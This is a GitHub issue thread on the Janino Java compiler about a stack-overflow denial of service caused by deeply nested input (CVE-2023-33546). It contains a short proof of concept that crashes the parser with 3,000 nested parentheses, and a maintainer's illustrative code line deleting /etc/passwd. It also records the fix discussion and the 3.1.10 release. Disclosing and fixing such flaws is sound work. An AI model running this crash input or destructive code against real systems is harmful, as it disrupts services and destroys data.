search

janino-compiler / janino

Janino is a super-small, super-fast Java™ compiler.
http://janino-compiler.github.io/janino
Other
1.21k stars 205 forks source link

A Stack overflow error #201

Closed PoppingSnack closed 12 months ago

PoppingSnack commented 1 year ago

Description

janino 3.1.9 and earlier are subject to denial of service (DOS) attacks when using the expression evaluator.guess parameter name method. If the parser runs on user-supplied input, an attacker could supply content that causes the parser to crash due to a stack overflow.

Error Log

        at org.codehaus.janino.TokenStreamImpl.produceToken(TokenStreamImpl.java:55)
    at org.codehaus.janino.TokenStreamImpl.peek(TokenStreamImpl.java:94)
    at org.codehaus.janino.TokenStreamImpl.peek(TokenStreamImpl.java:114)
    at org.codehaus.janino.Parser.peek(Parser.java:3781)
    at org.codehaus.janino.Parser.parsePrimary(Parser.java:3203)
    at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
    at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
    at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
    at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
    at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
    at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
    at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
    at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
    at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
    at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
    at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
    at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
    at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
    at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
    at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
    at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
    at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
    at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
    at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
    at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
    at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
    at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
    at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
    at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
    at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
    at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
    at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
    at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
    at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
    at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
    at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
    at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
    at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
    at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
    at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
    at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
    at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
    at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
    at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
    at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
    at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
    at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
    at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
    at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
    at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
    at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
    at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
    at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
    at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
    at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
    at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
    at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
    at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
    at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
    at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
    at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
    at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
    at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
    at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
    at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
    at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
    at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
    at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
    at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
    at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
    at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
    at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
    at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
    at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
    at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
    at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
    at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
    at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
    at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
    at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
    at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
    at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
    at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
    at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
    at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
    at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
    at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
    at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
    at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
    at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
    at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
    at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
    at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
    at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
    at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
    at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
    at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
    at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
    at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
    at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
    at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
    at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
    at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
    at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
    at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
    at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
    at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
    at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
    at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
    at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
    at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
    at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)

Reproducing

// PoC.java
import org.codehaus.commons.compiler.CompileException;
import org.codehaus.janino.ExpressionEvaluator;
import org.codehaus.janino.Scanner;

import java.io.IOException;
import java.io.StringReader;

public class PoC{
    public static void test(String data) {
        try{
            ExpressionEvaluator.guessParameterNames(new Scanner(null, new StringReader(data)));
        }
        catch(IOException | CompileException | AssertionError e){
        }

    }

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        String TOO_DEEP_DOC = _nestedDoc(3000, "( ", ") ", "t");
//        String TOO_DEEP_JSON = NestUtil._nestedDoc(1000, "{ ", "} ", "t");
        test(TOO_DEEP_DOC);
    }
}
aunkrig commented 1 year ago

Since Janino's parser is a stack-recursive one, deeply nested code structures can always lead to StackOverflowErrors. (Other types of parsers, e.g. token-stack-based ones) would surely be able to parse almost arbitrarily nested code.

Don't know how to handle this. Catching the StackOverflowError and replacing it with a CompileException("Code is too deply nested to parse it") seems risky, because there may be other conditions that cause a StackOverflowError, that should not be handled this way.

We could look at the call stack and verify that it contains mostly org.codehaus.janino.Parser.parse*() frames (as in your example), but that is surely an unsafe bet.

Any proposals?

aunkrig commented 1 year ago

Also notice that allowing user input as code input for Janino is always an extremely risky operation, because the user is free to do something like

new File("/etc/passwd").delete()

Only "educated" persons, like system administrators should be allowed to write Janino expressions (scripts, class bodies, compilation units).

There exists a "Janino sandbox" that attempts to prevent the worst (such as the previous example), but (A) that janino sandbox does not work with JRE 17+ and (B) it cannot prevent all kinds of attempts, see https://janino-compiler.github.io/janino/#security.

jacheut commented 1 year ago

How to solve this problem.

samueloph commented 1 year ago

CVE-2023-33546 was assigned to this.

Note: I didn't have any involvement in this assignment, I'm just posting here for reference.

ChewuuHi commented 1 year ago

Is this issue ONLY occurs when using ExpressionEvaluator.guessParameterNames method? Otherwise, it is not affected?

vdotjansen commented 1 year ago

Would it be an option to set a (default) limit (that can be overridden) to the amount of open brackets you can have at a single time. For example a max of 100 and up a counter every time you hit an open bracket (and stop if the limit is reached) and lower the counter when you hit an end bracket.

aunkrig commented 1 year ago

Difficult, because there are a zillion ways to notate nested structures in Java.

aunkrig commented 1 year ago

Ok, I decided to catch the StackOverflowError in all relevant API methods and convert it to a CompileException indicating that the nesting of the expression/script/class body/compilation unit is too deep.

Please test!

vtintillier commented 1 year ago

Hello @aunkrig ,

what are your plans to get this released?

Thanks a lot!

pjfanning commented 1 year ago

CVE-2023-33546 was assigned to this.

Note: I didn't have any involvement in this assignment, I'm just posting here for reference.

This user (PoppingSnack) has been irresponsibly raising issues across a large number of Java JSON tools (including Jackson, a lib that I work on). Most or all of these tools having documented approaches on how to report issues responsibly and this user has ignored them all.

If there is any attempt by this user to claim credit and cash rewards for disclosing vulnerabilities, I hope that the Janino team will not give the user credit due to the irresponsible disclosure.

aunkrig commented 1 year ago

what are your plans to get this released?

As you want it, I will prepare a release ASAP.

aunkrig commented 1 year ago

Release 3.1.10 is out the door. Please test.

vtintillier commented 1 year ago

Thanks!

aunkrig commented 12 months ago

You're welcome.